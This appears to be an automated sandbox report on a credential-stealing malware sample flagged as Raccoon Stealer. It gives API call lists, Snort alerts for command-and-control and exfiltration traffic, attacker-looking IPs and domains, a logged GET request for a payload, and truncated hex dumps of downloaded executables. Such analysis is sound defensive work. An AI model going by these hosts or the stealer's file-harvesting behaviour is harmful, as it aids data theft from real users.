Source:	Binary string: C:\mezakidujawu dukopigowoyiy56\feno_coje.pdb source: ZA3cYU28Yl.exe, ZA3cYU28Yl.exe, 00000001.00000000.277973193.0000000000401000.00000020.00020000.sdmp, ZA3cYU28Yl.exe, 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, ZA3cYU28Yl.exe, 00000003.00000000.280952997.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000E.00000000.366754687.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000E.00000002.372555425.0000000000401000.00000020.00020000.sdmp, rcvfbte, 0000000F.00000000.370964910.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000011.00000000.383419511.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000011.00000002.395793668.0000000000401000.00000020.00020000.sdmp, A019.exe, 00000014.00000000.392777524.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbk source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000015.00000003.402934493.0000000004E40000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000015.00000003.395547115.0000000000A97000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000015.00000003.402925222.0000000004E71000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 9460.exe, 00000010.00000000.377618773.0000000000413000.00000002.00020000.sdmp, 9460.exe, 00000010.00000000.385010762.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000015.00000002.432733171.0000000000D60000.00000002.00020000.sdmp
Source:	Binary string: cfgmgr32.pdb= source: WerFault.exe, 00000015.00000003.402944144.0000000004E47000.00000004.00000040.sdmp

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_004196BC GetPrivateProfileSectionW,BuildCommDCBAndTimeoutsW,CreateMailslotA,CallNamedPipeA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,GetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameW,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeA,FindFirstFileExW,	1_2_004196BC
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	22_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	22_2_00401280
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	22_2_00401090
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	22_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_00409970
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_004087E0

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:49897 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2034631 ET TROJAN Maldoc Activity (set) 192.168.2.3:49929 -> 74.201.28.62:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:49934 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.3:49934 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.3:49897 -> 185.163.204.24:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Source: global traffic

HTTP traffic detected: GET /book/KB5009812.png HTTP/1.1Host: 74.201.28.62Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:04 GMTContent-Type: application/x-msdos-programContent-Length: 301056Connection: closeLast-Modified: Mon, 10 Jan 2022 12:06:49 GMTETag: "49800-5d5392be00934"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 47 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:07 GMTContent-Type: application/x-msdos-programContent-Length: 320000Connection: closeLast-Modified: Fri, 14 Jan 2022 19:23:02 GMTETag: "4e200-5d58fbb413a4c"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d 1f 39 8a 29 7e 57 d9 29 7e 57 d9 29 7e 57 d9 37 2c c2 d9 33 7e 57 d9 37 2c d4 d9 af 7e 57 d9 0e b8 2c d9 2e 7e 57 d9 29 7e 56 d9 c9 7e 57 d9 37 2c d3 d9 13 7e 57 d9 37 2c c3 d9 28 7e 57 d9 37 2c c6 d9 28 7e 57 d9 52 69 63 68 29 7e 57 d9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b5 a3 2e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 e4 03 00 00 ac 11 00 00 00 00 00 90 b2 01 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 15 00 00 04 00 00 09 69 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 df 03 00 50 00 00 00 00 00 15 00 28 87 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 15 00 00 1e 00 00 a0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 4c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 6e e3 03 00 00 10 00 00 00 e4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 10 00 00 00 04 00 00 18 00 00 00 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 75 6d 65 6e 65 64 05 00 00 00 00 d0 14 00 00 02 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 6c 6f 68 65 00 ea 00 00 00 00 e0 14 00 00 02 00 00 00 02 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 75 74 6f 68 6f 78 93 0d 00 00 00 f0 14 00 00 0e 00 00 00 04 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 87 00 00 00 00 15 00 00 88 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5a 46 00 00 00 90 15 00 00 48 00 00 00 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:11 GMTContent-Type: application/x-msdos-programContent-Length: 324608Connection: closeLast-Modified: Fri, 14 Jan 2022 19:23:02 GMTETag: "4f400-5d58fbb461c4c"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6d 1f 39 8a 29 7e 57 d9 29 7e 57 d9 29 7e 57 d9 37 2c c2 d9 33 7e 57 d9 37 2c d4 d9 af 7e 57 d9 0e b8 2c d9 2e 7e 57 d9 29 7e 56 d9 c9 7e 57 d9 37 2c d3 d9 13 7e 57 d9 37 2c c3 d9 28 7e 57 d9 37 2c c6 d9 28 7e 57 d9 52 69 63 68 29 7e 57 d9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 6f ac 7d 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 f6 03 00 00 ac 11 00 00 00 00 00 50 c3 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 15 00 00 04 00 00 5b e9 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 f0 03 00 50 00 00 00 00 10 15 00 28 87 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 15 00 f8 1d 00 00 a0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 4c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2e f4 03 00 00 10 00 00 00 f6 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 10 00 00 10 04 00 00 18 00 00 00 fa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 7a 69 63 00 00 00 00 05 00 00 00 00 e0 14 00 00 02 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 75 76 75 68 75 73 ea 00 00 00 00 f0 14 00 00 02 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 75 66 6f 74 00 00 93 0d 00 00 00 00 15 00 00 0e 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 87 00 00 00 10 15 00 00 88 00 00 00 24 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 64 46 00 00 00 a0 15 00 00 48 00 00 00 ac 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:44 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 14 Jan 2022 19:23:49 GMTServer: Apache/2.4.38 (Win32) PHP/7.1.26Last-Modified: Fri, 14 Jan 2022 17:15:09 GMTETag: "6ff1c7-5d58df1eec44d"Accept-Ranges: bytesContent-Length: 7336391Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 58 b0 38 63 39 de 6b 63 39 de 6b 63 39 de 6b 77 52 da 6a 68 39 de 6b 77 52 dd 6a 64 39 de 6b 77 52 db 6a df 39 de 6b 05 56 23 6b 67 39 de 6b 31 4c db 6a 45 39 de 6b 31 4c da 6a 72 39 de 6b 31 4c dd 6a 6a 39 de 6b 77 52 df 6a 68 39 de 6b 63 39 df 6b e4 39 de 6b d9 4c da 6a 70 39 de 6b d9 4c dc 6a 62 39 de 6b 52 69 63 68 63 39 de 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 51 ae e1 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 36 02 00 00 54 01 00 00 00 00 00 c8 a8 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 d0 04 00 00 04 00 00 12 0b 70 00 02 00 60 81 80 84 1e 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 18 5b 03 00 78 00 00 00 00 b0 04 00 e3 05 00 00 00 80 04 00 e8 1d 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 48 07 00 00 20 39 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 39 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 50 02 00 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 35 02 00 00 10 00 00 00 36 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 18 01 00 00 50 02 00 00 1a 01 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 03 01 00 00 70 03 00 00 0c 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 e8 1d 00 00 00 80 04 00 00 1e 00 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 a0 04 00 00 02 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 e3 05 00 00 00 b0 04 00 00 06 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 48 07 00 00 00 c0 04 00 00 08 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Fri, 14 Jan 2022 18:57:27 GMTAccept-Ranges: bytesETag: "9bd1193789d81:0"Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Fri, 14 Jan 2022 19:23:57 GMTContent-Length: 54272Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 9c 76 4c 96 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 16 00 00 00 bc 00 00 00 00 00 00 12 35 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 34 00 00 4f 00 00 00 00 40 00 00 5c b9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 0c 00 00 00 a4 34 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 